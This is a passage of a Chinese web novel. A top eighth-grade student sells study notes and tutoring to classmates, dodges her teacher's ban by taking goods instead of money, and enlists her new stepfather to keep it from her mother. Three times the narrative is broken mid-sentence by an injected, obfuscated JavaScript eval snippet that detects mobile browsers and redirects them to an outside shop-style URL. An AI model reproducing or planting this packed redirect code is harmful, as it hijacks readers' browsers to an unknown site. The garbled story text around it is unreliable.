除了徐泽,陆淼又接了三单,都是想要进阶版的,而且都是全科需求。 这几个同学家境很不错,平时零花钱也多,和家里大人说一下,要买辅导书更是有额外补贴。 是以就算在陆淼这里花费有点多,但看到成绩明显进步,也心甘情愿。 只是陆淼没想到,好好的赚钱小生意,忽然被人举报了。 “陆淼,你什么情况,有同学告诉我,你在收其他同学的钱?” 班主任是个年轻老师,大学毕业没两年,陆淼这些学生是她带的第一届。 从初一什么都不懂开始学,现在带到初二渐渐上手,尤其是陆淼这个学生一直是年级第一,她还是很自豪很欣慰的。 这是班里的好学生,考市一中的重点苗子啊! 叶舒语重心长说道:“陆淼,你是学生,你的现阶段任务就是好好学习,努力考上一个好的高中,那才是对你自己负责。” “嗯嗯,老师你说得对。”陆淼点头。 叶舒:“那行,我也不偏听偏信,你自己说说怎么回事。” 有人打小报告,那就没必要再隐瞒,于是陆淼老老实实把事情讲了一遍。 叶舒也没想到,竟然是这么个收费情况。 “额,陆淼,帮助同学是好事,但你收他们的钱……” “老师,你不会想让我无偿帮助吧?虽然我愿意帮助同学,但我也不能吃亏啊!” “学生之间金钱交易,这是不允许的,我们要学习雷锋精神。当然,在你学习之余就好,你主要还是搞好自己的学习成绩。” “老师,不是谁都能当雷锋的,全国也就那么一个。我有偿帮助,那也是帮助呀。你看,他们有点小钱,我正好缺钱,他们想要提高成绩,我正好学习最好,我拿钱办事,他们付钱进步,我们谁也没耽误不是?” 舒叶:“……” 这孩子才几岁,怎么那么多歪道理。 “总之歪风邪气不能长,你把收了的钱退回去,不然我要叫家长了。” 陆淼点头,“好的老师,你叫家长吧。” 退钱? 凭本事赚的,不退。 11. 第11章 叶舒:“……” 她说叫家长,本意就是加重语气,让学生意识到事情的严重性,从而选择改正错误。 万万没想到,学生还挺犟。 但到底是好学生,又是年级第一。 叶舒又说:“陆淼,被叫家长不是小事,你在同学之间乱收钱,这要是——” “老师你不能污蔑我,什么叫乱收钱?我给出的都是公道价,很多关系不错的同学还给打折了的。”陆淼立即辩解。 合理收费那是等价交换,乱收费可是扰乱市场行情。 她还想在初三做一波大的,可不能被传黑心奸商。 叶舒惊呆住。 这是该纠结的点吗? “不是陆淼,你怎么油盐不进呢?” “老师,我爱吃清淡的,高油高盐对身体不好。” “好好好,我不和你多说,明天上午,让你家长来学校。” 陆淼点点头,想到什么又问:“那老师,中午行吗?上午来学校,我爸得请假,要扣钱的。” “行就中午,你让你妈,哎不对,你爸?” 叶舒愣住,她记得几个月前,陆淼还因为父亲去世要去送丧请假过。 “你爸不是?” “不是死了的爸,我新爸,也就是你们大人口中的继父。” 陆淼丝毫没有尴尬,甚至开玩笑说:“老师,我也不能招魂不是,不然喊我亲爸上来也不是不行。” 叶舒挥挥手,不想再说一个字。 晚饭后休息,陆淼主动找人。 “爸,有空吗?”陆淼站在卧室门口,声音不大。 徐建国刚准备躺一下,听到这话立即点头,“有空有空,淼淼,啥事啊?” 陆淼没说话,而是做了个往外走的手势。 徐建国不明所以。 陆淼:“爸,你跟我出去,我们外面细谈。” 徐建国这回听懂了,女儿要和自己说悄悄话,还是避着其他人的。 他们父女关系已然这么好了吗? 徐建国心里美滋滋,甚至有点飘飘然,就这么跟着孩子去到外面。 “淼淼,你要和我说什么?”徐建国满心期待。 陆淼:“爸,你明天中午有空吗?我们班主任找,你能去趟学校吗?” 徐建国更高兴了,“是不是谈你学习上的事?” 陆淼:“算是吧。” “有空,我这边肯定有空。中午几点,十二点以后行不?” “行,按照爸你的时间来。” “真的让我去?那你妈那边……” 徐建国被惊喜冲昏头,但还有那么一点点理智。 陆淼叹了口气,“我一直都是单亲家庭,每次学校里有事,不管好的坏的,都是我妈去。我就想着,我又有爸了,怎么着也得在老师跟前露露脸。” “好,爸给你去。” 徐建国满腔父爱暴涨。 第二天中午,六中初二老师办公室。 徐建国和陆淼站在一起,对面是初二(3)的班主任叶舒。 即便已经四十岁,徐建国依旧很尊敬老师,在他的认知里,人民教师都是有崇高地位的。 “叶老师,你好,我是陆淼的爸爸。” 叶舒看向眼前男人,长得人高马大,但一脸憨厚老实模样。 而他旁边站着的自己学生,光一双眼睛就别提多机灵了。 叶舒没再看陆淼,问道:“陆淼爸爸,陆淼在学校里的事情,你知道了吗?” 徐建国:“学习上的事,这我知道,知道。” “那你们作为家长,是怎么个想法?” “我们读书少,能有什么想法,孩子的想法最重要。我和他妈都听淼淼自己的。” “你们不管了?” “这事不能管,我们也管不明白,叶老师,我觉得淼淼自己就管的挺好的。” “她自己管得好?陆淼爸爸,她都敢在学校里收同学的钱,这叫管得好自己?虽说只是卖学习资料,但作为学生……” 徐建国懵住。 不是说学习上的事情吗? 怎、怎么就变成买卖收同学的钱了? “陆淼爸爸,这件事可大可小,孩子在青少年期间必须重视,要树立正确的价值观。”叶舒一通输出,最后总结说道。 徐建国一脸挫败,“叶老师,是我这个当爸的不好,没赚到什么钱,让孩子委屈了。” 叶舒:“?” 徐建国:“不怕老师你笑话,家里孩子多,开销大。淼淼肯定是心疼我和她妈,想偷偷赚点零花钱补贴,是我这个爸不称职。” “?” “!” 新爸牛啊,老实人的思维逻辑这么有意思吗? 陆淼紧跟说道:“叶老师,我知道错了,我不该因为穷就在同学之间赚零花钱,我应该坦然接受贫穷的馈赠。” 再出来,父女俩一起,陆淼送徐建国出校门。 走在校园的小路上,徐建国声音依旧有些颤抖,“淼、淼淼啊!这事算是解决了吗?你们班主任不会再追究了吧?” 陆淼:“叶老师人还挺好的,对事不对人,我也答应不再收钱,认错态度也好,算完事了。” 快走到校门口时,徐建国掏出十块钱,想了想又加了十块。 一共二十块钱塞到陆淼手里。 “淼淼,到新家让你委屈了,以后你要是缺钱就跟我说,我给你。” 陆淼来者不拒,仰头就是一个甜甜的微笑,“谢谢爸,爸你真好,心里总想着我。” “唉,那我回厂里了。” “好的爸,慢走爸,还有爸,这是咱们父女俩的小秘密,你别告诉我妈啊!” 徐建国点头,乐呵呵骑着自行车离开。 陆淼回到教室,张佳美和徐泽立即围过来。 眼下是午休,老师也就偶尔过来转一转,是以班级纪律挺松散。 徐泽:“淼姐,叶老师怎么说?不会让你写检讨,然后通报批评吧?” 张佳美:“不会要处分吧?真是的,也不知道是谁去打小报告,你给同学辅导还有笔记,这不是助人为热么。”就是象征性收了点辛苦费。 张佳美也是买笔记的其中一员,其中化学成绩进步最明显,从原来的只能考三十分到终于能够摸到及格线。 她更是陆淼进步小组的初级元老。 “什么乱收钱,这明明是我们同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486771|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学之间组建的学习进步小组,我看就是嫉妒。” “小美说得对,淼姐你可要挺住,我还指望你带我进普高呢。我爸说了,只要我考上普高,就给我买手机。” 陆淼听两人叽叽咕咕,一脸淡然。 甚至还有心情趁空默写了一单元的英语单词。 最后才说道:“徐泽,你联系下其他人,就说金钱交易到底为止。” “别啊淼姐!” 徐泽顿时就急了,“你不是说了么,拿钱换笔记,本质就是劳动报酬,这和帮人打饭买东西赚点辛苦费有啥区别?” 张佳美狠狠点头,“就是就是,你不强迫别人买,我们也是自愿给钱,我们不偷不抢的,招谁惹谁了。” 陆淼一直都知道,自己进行的“业务”无威胁、无垄断、无强迫,同时也不影响学习、不违反纪律,更是价格公道。 她付出时间和精力整理笔记,付出知识和耐心进行考前一对一辅导。 因为自己的付出,赚取相应的报酬,有问题吗? 她觉得没问题。 唯一有问题的,是学生这个身份。 但有钱不赚王八蛋,稳定且积极送钱的客户往外推? 她又不是傻子。 陆淼:“我答应老师不收钱,做人还是要有点信誉的。这样,以后以物换物,我把自己需要的列个表,标个价,你们按照表格购买。” 顿了顿,又说道:“商量好了买哈,别买重了。” 徐泽和张佳美笑了,拍胸脯保证,必定把信息层层传达。 期中考在即,尝到甜头的“学习进步小组”成员们个个积极,人手一张物品清单。 他们开始默默计算哪一样又或者哪几样加起来,刚好够“交学费”。 但陆淼还是忽略了一点,那就是初中生的购买力实在不够。 以至于她收到最多的就是零食和学习用品。 “十三包干脆面,一打娃哈哈,七块橡皮,八支自动笔,十支黑笔……” 陆淼清点完,抬头一脸无奈。 张佳美:“怎么了,价格对不上?” 陆淼:“对得上,就是我很忧愁,这么多橡皮和自动笔,我得用到何年何月?” “啊?” “算了,这些我都收了,不过你们说一声,以后一元及以下的东西,单位数量一个就够了。” “可是不够啊,一份笔记就得三块钱,得买三支笔。” 徐泽一脸郁闷,“淼姐你是不知道,自从我们几个成绩提高后,你的基础笔记可吃香了。” 陆淼也没想到,自己卖的最好的竟然是基础类笔记。 果然,成绩好的同学提高个五六分挺困难,但若成绩只有三四十分的想要考一个及格,那就容易多了。 陆淼拿出物品清单,涂涂画画,这才说:“下面这一块暂时饱和,我就不收了。徐泽,小美,男生和女生两边你们传个话,我要大件。” 张佳美和徐泽表示不明白。 陆淼:“……众人拾柴火焰高,咱一个人的力量是有限的,但多几个人呢?大家凑一凑,不是都解决了嘛。” 反正她只收物品不收钱,至于怎么凑怎么买,那是别人的事。 12. 第12章 放学铃响,陆淼把东西塞进书包里,挥手道别。 下楼时,和初三生撞上。 “难得呀,今天你们老师不拖堂?”陆淼看到徐清澜,立即打招呼。 徐清澜很自然和陆淼一起走,“快期中考了,老师都我们自己多复习。” “你们新课全都上完了?” “嗯。” “那复习笔记呢?我是说初一到初三的所有归纳整理笔记。” “我都做了,每一门课都整理妥当。” 徐清澜喜欢万事俱备,能主观能动性完成的事情,他都会提前做。 整理笔记很繁杂,但不难。 他只要每天多抽出一个小时用在归纳记笔记上,一个月基本搞定。 陆淼听到这话,眼睛顿时一亮,“不愧是我哥,厉害!那什么,你的笔记能借我用用吗?” 徐清澜一脸疑惑。 陆淼搓手微笑,“基础打得牢,学习越能好,你们初三整理的复习笔记肯定比我们强,我就想借来看看,查漏补缺。我肯定不耽误你复习,我还可以付费使用。” 徐清澜当然不肯收费,自家人借个笔记还要算钱,那成什么了。 当晚,他就把暂时用不到的笔记都摆在桌上,陆淼可以随意翻阅。 陆淼一点不客气,翻完这本翻这本,翻完数学翻物理,翻翻翻,翻的纸张哗哗响,整个客厅里都是她的大开大合的动作声。 父母不在,哥姐第一。 陆淼一套组合拳下来,除了安静不响的杨晶晶,另外两个都憋不住了。 徐清澜比较含蓄,“陆淼,你要是哪里不知道,我可以给你讲讲,笔记内容我都熟。” 陆远就直白了,“姐,你写作业声音好吵。” 陆淼扭头看向矮桌子,“写你的作业去,别哔哔,我给你布置的应用题写完没?一会儿检查要是没有全对,我扣你零食。” 手里干脆面太多,陆淼一个人吃不完,干脆拿出来一部分当做奖励。 用于促进陆远和杨晶晶的学习。 只有作业全对的人才有得吃,两人凭本事来。 话说完,陆淼把其中一份笔记递过去,“哥,我看得懂,就是初二物理和化学笔记,你能多借我两天吗?” “你要用?” 徐清澜看对方已经开始抄笔记了,有点惊讶。 陆淼挑选需要的抄,回道:“有用啊,特有用。” “你不是年级第一么,这些基础内容,你又不是不会。” 她不需要,但是客户需要啊! 自己整理还得花时间,借着徐清澜的现成笔记再做整理,至少省一半功夫。 陆淼:“我不需要,我同学需要。” “你还在帮他们做笔记?” “嗯啊,你是不知道他们的学习积极性,人家虽然成绩差一点,但是热情好学啊!我觉得要鼓励要支持,如果能为他们中考添砖加瓦尽自己的一份力,我将感到非常荣幸。” 陆淼不禁想到最近和小组组员定下的口头约定:只要考上普高,一个给三百。 她目前带着的同学有六个,基本上都是全科包。 这些人就是她的招牌,初二这一年好好带,等到初三成绩猛涨,她将收获更多的客户。 陆淼给笔记无所谓,但一对一辅导还是会挑一挑,只选潜力股。 而所谓潜力,就是那些有心想学但又容易犯懒的学生。 他们就属于,催一催抓紧些,成绩就能提高上去。 但是稍一松懈,很快又会被打回原形。 陆淼回过神,冲对面笑笑,“哥,等你中考完了,能把所有复习资料都给我吗?” 徐清澜答应,这对他来说根本没什么。 陆淼开心了,最后批改作业时,甚至有那么一点点放水。 杨晶晶和陆远都错了一道数学题,但每人都得到一包干脆面。 这时候的干脆面五毛钱一包,包装里带一张水浒卡,好吃又好玩。 陆淼对收集卡片这种事情不感兴趣,但杨晶晶和陆远却喜欢的不得了。 集齐一套水浒传人物,是每个小学生的梦想。 “姐,你还有卡吗?不吃面也行。”陆远和姐姐走得近,更清楚对方手里的物资。 倒不是觊觎吃的,他就是想多要些卡片。 最好比杨晶晶多。 陆淼:“想得美,卡片得拿作业换。” “姐,我想要一块卡通橡皮。”杨晶晶也跟着大胆询问。 陆淼:“你也想得美,卡通橡皮拿期末考试成绩换。” 陆远和杨晶晶互相看了眼,眼底满满都是竞争。 两人都很清楚,卡通橡皮,有且仅有一块。 徐清澜看得有点懵,不太清楚目前的状况。 陆远和陆淼关系好,他能理解,但是晶晶怎么和陆淼也关系越来越好了? 还有,什么卡片?什么卡通橡皮? 然而没人给他解惑。 陆远和杨晶晶不清楚为什么姐姐有那么多零花钱,每天都能买零食。 陆淼则是没有任何想要告知的欲望。 秋日渐盛,十月转瞬即逝,十一月很快到来。 六中的期中考试如期而至。 期中考后要开家长会,是以所有人都对自己的成绩很上心。 出成绩的这一天,几乎全班都围在讲台上,挤来挤去看成绩单。 只有陆淼,老神在在坐在位子上。 徐泽第一个跑回来,开口就是一句,“牛啊我的姐,又是年级第一,比第二名整整高出20分。” 陆淼有点惊讶,“不应该啊,万年老二一直紧追不舍,这回分差这么大?” 徐泽:“钟离考砸了,杨慧慧从第三名跳到第二名,还有就是淼姐你超常发挥,这次考了612。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486772|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,徐泽又开始报成绩,“我四门都及格了,尤其数学,这回考了92。咱们学习小组的其他人,至少三门及格……” 陆淼听完汇报,不禁点头,和她预估的差不多。 不过,“徐泽你可以啊,数学不知不觉就到90分以上了,遥想初一那会儿,你的数学只有27分。” 徐泽也觉得不可思议,怎么学着学着,自己的分数就蹭蹭蹭上来了? “我也不会做难题啊!”徐泽挠头。 陆淼手一挥,“一张试卷,80%都是基础题构成,稍微有难度的题目占15%。剩下的5%难题,才是为考高分的好学生准备的。” 数学满分120,80%的基础分就是96,陆淼就没指望徐泽能考得特别好。 就算明年到初三,进入全面复习备战中考,她也觉得徐泽就应该抓基础分。 所有科目的基础分都拿到,再加上体育分,普高是绝对能上的。 两人正说着,张佳美也从讲台上下来。 她带回来的消息更多,已经打听清楚开家长会的具体时间了。 “明天?这么急吗?”陆淼意外。 张佳美:“听说是初三那边规定的,说是要和家长讨论晚自修的事情。” 徐泽:“晚自修不是本来就有。” 张佳美:“之前是住校生上,走读的随便。但我听说这一届开始,学校有硬性规定了,说是要统一安排。尤其初三,听说必须上,他们晚上可能还要上课……” 放学回家,陆淼和徐清澜带回成绩单,一并带回去的还有要开家长会的事情。 小学也有期中考,但家长会在下周,倒是和初中刚好错开。 “晚上六点半是不是,我和建国都有空,我们一人去一个班。” 孟娇娇看向陆淼,满脸笑容,女儿的成绩从来都没让她操心过。 陆淼本想说好,但话到嘴边立即改口,“妈,要不让我爸去给我开家长会吧。” 孟娇娇愣住。 徐建国也愣住。 陆淼:“我有爸爸,让我爸去露个脸,也和我班主任熟悉熟悉嘛。妈你也去我哥那里认识下他的班主任,这不是挺好。” 说完,陆淼偷偷给对面递眼神。 徐建国缓慢领会。 对了,他们还有小秘密,这事不能让娇娇知道。 于是赶紧点头,“对,我觉得淼淼说得对,她有爸了,清澜也有妈了,都去老师那露个脸,咱家的孩子也是父母双全的家庭。” “爸说得好!” 陆淼立即拍手鼓掌。 陆远和杨晶晶不明所以,但给零食的最大,紧跟姐姐脚步。 于是一齐拍手鼓掌。 徐建国和孟娇娇只觉欣慰,家庭氛围一团和气,这日子真是太好了。 唯独徐清澜,默默皱眉,总觉得事情有点奇怪。 但具体哪里怪,他又不知道。 13. 第13章 家长会如期举行。 学生是没有座位的,只能站在走廊上等,又或者自行回家去。 陆淼本来也想走,但徐建国到底第一次给自己开家长会,万一被打击,需要提供情绪价值呢? 她是成绩好,这没话说。 但她永远不是班主任的心腹,而是颗不定时“炸弹”。 可以说,从初一开始,叶舒作为班主任,因她这个学生每次考年级第一被同事羡慕的同时,也频频因为她的各种操作而头疼。 “我今天跑操好像抄小路了,体育老师和班主任告状没?这种小事,应该不会告诉家长吧?” “自习课睡了半堂课,这应该没事吧?也不影响我成绩不是。” “算了,站走廊上,大家都压力大,我还是先去溜达一圈。” 陆淼内心自我对话结束,果断选择下楼。 几个关系还不错的同学碰一起,立即去逛操场。 徐清澜下楼来找陆淼时,扑了个空。 但他也没走,就站在初二(3)班的走廊上,看他爸给陆淼开家长会。 别说,坐的笔挺笔挺的,两只手交叠放在课桌上,俨然一副乖学生的模样。 徐清澜想起亲爸给自己开家长的时候,好像也没这么紧张吧? 但一想到正在楼上坐着的孟娇娇,似乎也是如临大敌的状态,不禁失笑。 他们两个,好像都一样。 “哎,陆淼呢,她不在?” “干嘛?” “买笔记啊,她又考了年级第一,比第二名高出整20分呢。跟她买笔记的那几个,分数好像都提高了,尤其是一对一辅导,就那个徐泽……” “一对一有点贵,一门就要五块,这还不算抄笔记的钱。” “六门课全抄要十八,我一个星期生活费才十块钱,算了,我先问她买三门笔记,我自己学,如果期末考成绩上来了,我再考虑一对一……” 徐清澜默不作声,听旁边两三个学生凑一起小声嘀咕。 家长会结束,徐建国和孟娇娇都松了口气,并且很满意。 孟娇娇作为徐清澜的家长第一次参加,而且还是初三的家长会,原本挺多担心的。 但没想到,班主任态度很好,甚至一个劲的夸孩子,还说很有希望考上市一中。 至于徐建国,也很欢喜家长会后没有被老师再单独约谈。 并且看班主任在家长会上表扬了孩子的成绩,他认为先前的事情,应该没有造成孩子学习困扰。 至少老师不区别对待。 “清澜挺好的,老师很好看他,就是他们班主任说,从下星期开始,初三要统一上晚自修了,可能还得上课。”孟娇娇说道。 徐建国点头,“淼淼的班主任也提了这件事,不过初二没硬性规定,上不上按学生自愿。” 陆淼听到父母谈话,举手就说:“爸妈,我要上晚自修,我要努力学习奋发图强。” 孟娇娇笑了,“行,那你就上,下课了和你哥一起回家。” “好的,我没问题。” 说完,陆淼扭头,笑盈盈看向徐清澜。 徐清澜一直没说话,直到快进小区时,才忽然开口:“陆淼,你这么积极上晚自修,不是为了自己吧。是要给你的那些同学做笔记,或者还有补课?” 陆淼:“哎呀,助人为乐嘛,帮助别人总是让人心情愉快。” 徐清澜:“是么,我以为你是因为赚钱而感到快乐。” 陆淼:“?” 陆淼:“!” 这厮怎么知道了? “陆淼,你学习成绩好,应该把心思都放在学习上。” 徐清澜不懂,好学生专注学习才是最重要的,为什么陆淼要把宝贵的学习时间用在别人身上。 就为了赚一点零花钱? “一点?你数学学得挺好。”陆淼语气略微微妙。 徐清澜愣住,在心里快速计算一番,眼神慢慢变了。 一门课的笔记是三块钱,六门课就是十八块,就之前站走廊上听到的部分谈话,他大概能估算出,陆淼一次考试,从同学那里能够收到至少一百块。 这还不算一对一考前辅导。 “你……” “是不是很惊讶我的赚钱能力?哎,没办法,脑子聪明就是好使。” “可是,为什么?” “因为我穷啊!” 陆淼语气相当理直气壮,“拜托大哥,你见过哪个富二代忙忙碌碌,就为了赚这么点辛苦费?” 六中在淮宁市是倒数的初中,但里头的学生依旧有不少是家庭条件不错的。 单就初二(3)班,据陆淼自己观察,至少有三四个家里经济很好。 徐泽就是其中之一,这家伙每个星期光伙食费就是三十。 而普通学生,一星期的生活费在十块左右。 陆淼从不认为赚钱是件丢人的事情,劳动换取报酬,天经地义。 “可爸妈每个星期都给你零花钱。” 徐清澜自己也有零花,因为初三生的关系,每个星期的生活费从十块钱涨到十五块。 他平时也不乱花,到周末次次都有结余。 就连读小学的杨晶晶和陆远,也每天能拿零花钱,虽然不多。 陆淼有些不屑,“十块钱能干什么,我偶尔在外面买点早饭,又或者中午在食堂多打一个荤菜,没到星期三我就花完了。 “再说买零食,我喝点牛奶,买点干脆面,又或者给陆远他们带点炸串啥的,就爸妈给的十块钱,你觉得够?” 陆淼一边说,徐清澜一边算,如对方所言,十块钱确实不经花。 但是,“其实有些东西不是必须买的。” 陆淼:“我想要,我为什么不能买?家里条件不支持,那我就自己赚呗,赚来的钱我想买啥就买啥,我想干什么就干什么,有问题?” 没问父母多要钱,凭自己本事赚的,陆淼很为自己骄傲。 徐清澜还想“辩解”,陆淼直接一记绝杀,“你以为陆远他们就满足每天五毛钱的零花呢?他们只是因为小没有话语权,咱家里但凡有点钱,你看他们会不会每天嚷嚷着要个三块五块的。就那个集水浒卡,一天两包干脆面打底。” 小孩很单纯,但同样拥有敏锐的嗅觉。 他们能很微妙的察觉出家里的事情,不论大人的情绪,又或家里的经济状况。 或许他们自己都不知道,小小年纪还在玩泥巴呢,就已经会控制自己的“欲望”。 懂事的孩子,童年总是内敛克制的。 但显然,陆淼不是。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486773|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 前世因生活所迫,她不得不克制。 但重来一次,她只想过得快乐。 学习让她快乐,她就努力学习;有钱让她快乐,她就努力赚钱。 两人谈不拢,事情就这么搁浅住。 陆淼说过就忘,这么点小事情完全不放在心上,依旧该吃吃该喝喝。 甚至因为每天有进账,快乐极了,学习上就更加刻苦。 学习好就能赚钱,这是她的实践真理。 “淼淼,你最近瞧着都瘦了,晚自修挺累人吧?”难得休息,孟娇娇注意到女儿有些消瘦的脸。 陆淼正在吃葱油饼,今天徐建国在家做面食。 她一边吃一边写作业,头也不抬,“妈,我好着呢,就是最近胃口大,老觉得饿。” “淼淼,你是不是长身体了?”徐建国插了句。 孟娇娇赶紧站起来,拉着女儿站墙边量身高。 “呀,真长个了,前段时间还一米六三呢,这会儿已经一米六五了。” 孟娇娇个子一般,只有一米六,又因为瘦,瞧着更是娇小。 但前夫却是个大高个。 孟娇娇虽厌恶前夫,但不得不承认,女儿算是遗传了她老子的身高了。 “像你爸。”孟娇娇说道。 陆淼也点头,“估计是,陆远也挺能长的,我看也长高了点。” 孟娇娇又拉着陆远量身高,果然长了点。 只是姐弟俩都是干巴瘦,不仅脸上没什么肉,四肢也是太过纤细。 有一种瘦叫妈妈觉得瘦。 孟娇娇心疼了,想给两个孩子加零花钱。 “淼淼和小远,估摸着才学校里吃不饱,要不每星期再加两块?” 徐建国点头,“加,饭总得让孩子吃饱。” 孟娇娇笑了,“那好,清澜和淼淼每星期加两块,小远和晶晶还小,就每星期加一块,你看行吗?” “钱都在你那,你说了算。” 两人一领证,徐建国就把工资的三分之二上交了,让孟娇娇支配家用。 徐清澜每个星期的买菜钱,如今也是孟娇娇在给。 徐建国:“给清澜买菜的钱也加个三十块,肉能多买点,孩子们长身体,家里也得吃好点,最好每天早上都能配个鸡蛋。” “三十块?” 孟娇娇为难,“马上要过冬了,我想着先买几条棉被。他们四个原先用的被子都旧了,买了新的,旧的正好用来当垫被。” 木板床漏风,冬天垫被厚一点,才能睡得暖和。 两个人生活有两个人要操心的事,六个人生活也有六个人要操心的事。 徐建国的工资比孟娇娇高不少,两人结婚后,加起来一个月工资快一千。 但同时开销也大。 四个孩子每天各种花销,看着都是一点一点的,但月底一总结算账,数额惊人。 反正他们俩的工资基本上没得剩。 这还是孟娇娇精打细算的结果。 眼下要给孩子多加生活费,又要多加买菜钱,还要考虑冬天的被褥和衣服…… 孟娇娇发愁,“你说这房子是咱自己的不花钱,水电费也不多,怎么钱还是不经花。” 徐建国思索后,小声说道:“我那还有点存款,我把存折给你。” 14. 第14章 孟娇娇惊讶抬头。 但很快就想明白,这笔存款是为徐清澜存的。 初中属于义务教育免学费,高中可不是。 再加上要住校,住宿费也得交。 还有就是孩子住校后的吃喝,每个星期再给十几块,那肯定是不够的。 孟娇娇:“那是给清澜读书用的,你继续存着,轻易别取出来。” 徐建国:“我存了好些年了,清澜高中三年肯定够,至于大学的花销,我再努力赚就是。眼下咱不能亏待孩子。” 说到这,徐建国又想起陆淼在外自己赚零花的事。 顿时心酸,“怪我没本事,当个厨子就会炒俩菜,没大用。” 夫妻俩都是叹气,想要多赚点钱,但又不知道门路。 四个孩子,想要养活容易,给口饭吃就行。 但他们不仅想要养活,还想要养好。 最好全都吃好喝好,长得高高壮壮的,然后全部考上大学。 …… 陆淼是真饿,每顿吃两大碗米饭,但没多久又感觉饥肠辘辘。 长身体,学习费脑子,她哪还有多余的能量去长肉? “饿死我了,我想吃宵夜。” 陆淼学到一半,电量不足,趴桌上难受。 徐清澜看了眼柜子,说道:“没有挂面了,不过之前买的状元糕还有,吃吗?” “吃吃吃,全拿出来吧。” 一袋状元糕总共十块,陆淼一个人就吃了三块。 陆远和杨晶晶已经习惯晚上学习的节奏,这会儿也没睡。 小孩子饿的更快,每人也吃了两块。 陆淼去拿第三块糕点时,正好和徐清澜的手碰上。 对方也准备拿一块吃。 可问题是,状元糕先前就吃掉了两块,总数为八。 这是剩下的最后一块。 徐清澜收回手,把状元糕推过去,“你吃。” 陆淼盯着瞧了会儿,不客气接过,大口吃起来。 只是学到后半段,她的肚子依旧空空的。 “果然预习就是费脑子,尤其是物理和数学。”陆淼心里嘀咕。 而后站起身,走去小房间。 不一会儿,抱着三包方便面出来。 “姐,红烧牛肉面!” 陆远眼尖,看到红色的包装袋,眼睛直冒光。 康师傅红烧牛肉面,九五年已经家喻户晓,是泡面中的畅销货,硬通货。 但袋装一包就要一块二,比其他方便面贵五毛。 作为没有多少钱的学生,康师傅不是经常吃得起的,也舍不得买。 陆淼一次性拿出三包,可谓豪横。 “吃不吃?”陆淼问。 “吃吃吃!” 陆远和杨晶晶一起点头,再也没心思写作业。 陆淼一边烧开水一边说:“你俩吃一包,我和哥各吃一包。” “啊?半包吃不饱。”陆远嘀咕。 陆淼哼了声,“想屁吃呢,我买的东西,有的吃就不错了,你还想吃饱?” “那好吧,姐,你多放点水,我想多喝汤。” “行,这点还是能满足你的。” 陆淼不喜欢一次性煮方便面,三包分开煮了三次,最后一次煮好才是自己的。 她端着碗坐下,抬头却见对面徐清澜的面几乎没动。 “怎么,不喜欢吃?” “不是。” 徐清澜心情有点憋屈,有种占便宜的感觉。 “我把方便面的钱给你。” 最后只憋出这么一句。 陆淼听笑了,“呐,你要这么算的话,前两天我给你吃的饼干,还有大白兔奶糖,还有上星期的饮料……唔,怎么着也得八块钱吧。” 徐清澜开始翻书包,找自己的零花钱。 最后凑了凑,发现剩余的钱只有七块五。 还差五毛。 这下子,十四岁的少年脸色涨红一片,整个人火烧火燎的。 陆淼看得更好笑,一边吃一边说:“钱不够了吧?” “我下星期给你。” “每天就随便多吃那么一点,就一点点零食,偶尔奢侈一把吃个方便面,就把自己搞的跟穷鬼一样。” 徐清澜没说话。 陆淼:“我没说你,我是说咱家的情况。这就是现实,如果我没钱,我会比你还惨。” 她不是徐清澜,欲望更多。 吃喝玩乐,她哪一样都想尝试,虽不能和有钱家的小孩一样,但也不能过的太抠抠搜搜。 “别人出门打车,我出门坐公交车,没问题吧?” “别人吃高档餐厅,我吃街边小炒,没问题吧?” “别人吃肯德基,我吃肉夹馍,没问题吧?” “别人穿耐克阿迪达斯,一双鞋四五百;我穿个李宁,再不济买个回力鞋。” “别人……” 陆淼一件件说,这些都是发生在她身边的具体事情。 最后指着方便面说道:“就像这面,我可以不每天吃,但我想吃的时候,我就要吃得到。” 她可以不富有,但绝不能穷。 总是捡别人的衣服穿,接受别人不要的玩具和零食,还得一遍遍说谢谢,只因为自己是个孤儿。 这样的日子,陆淼再也不想过了。 “能力范围内,我要给自己最好的。”陆淼喝完最后一口汤。 陆远和杨晶晶只顾埋头吃,姐姐说了什么,一个字也没听进去。 听了也听不懂。 但徐清澜听懂了。 正因为听懂了,更无力反驳。 临睡前,徐清澜叫住陆淼,轻声说了句,“我没告诉爸妈,他们不知道。” 陆淼:“爸知道,你记得别说漏嘴,让我妈知道就行。” 毕竟孟娇娇女士独自带她长大,不容易。 对方已经尽自己所能给予最好的。 徐清澜却是震惊,“我爸知道?” “嗯,对。” “他知道,那他没说什么吗?” “要说什么?咱爸是个好人。” 陆淼不由笑道,“我答应我班主任还有咱爸,不收钱的,以物换物那是同学情谊。” 徐清澜:“……” 陆淼没再说,抱着明天要穿的衣服回房间。 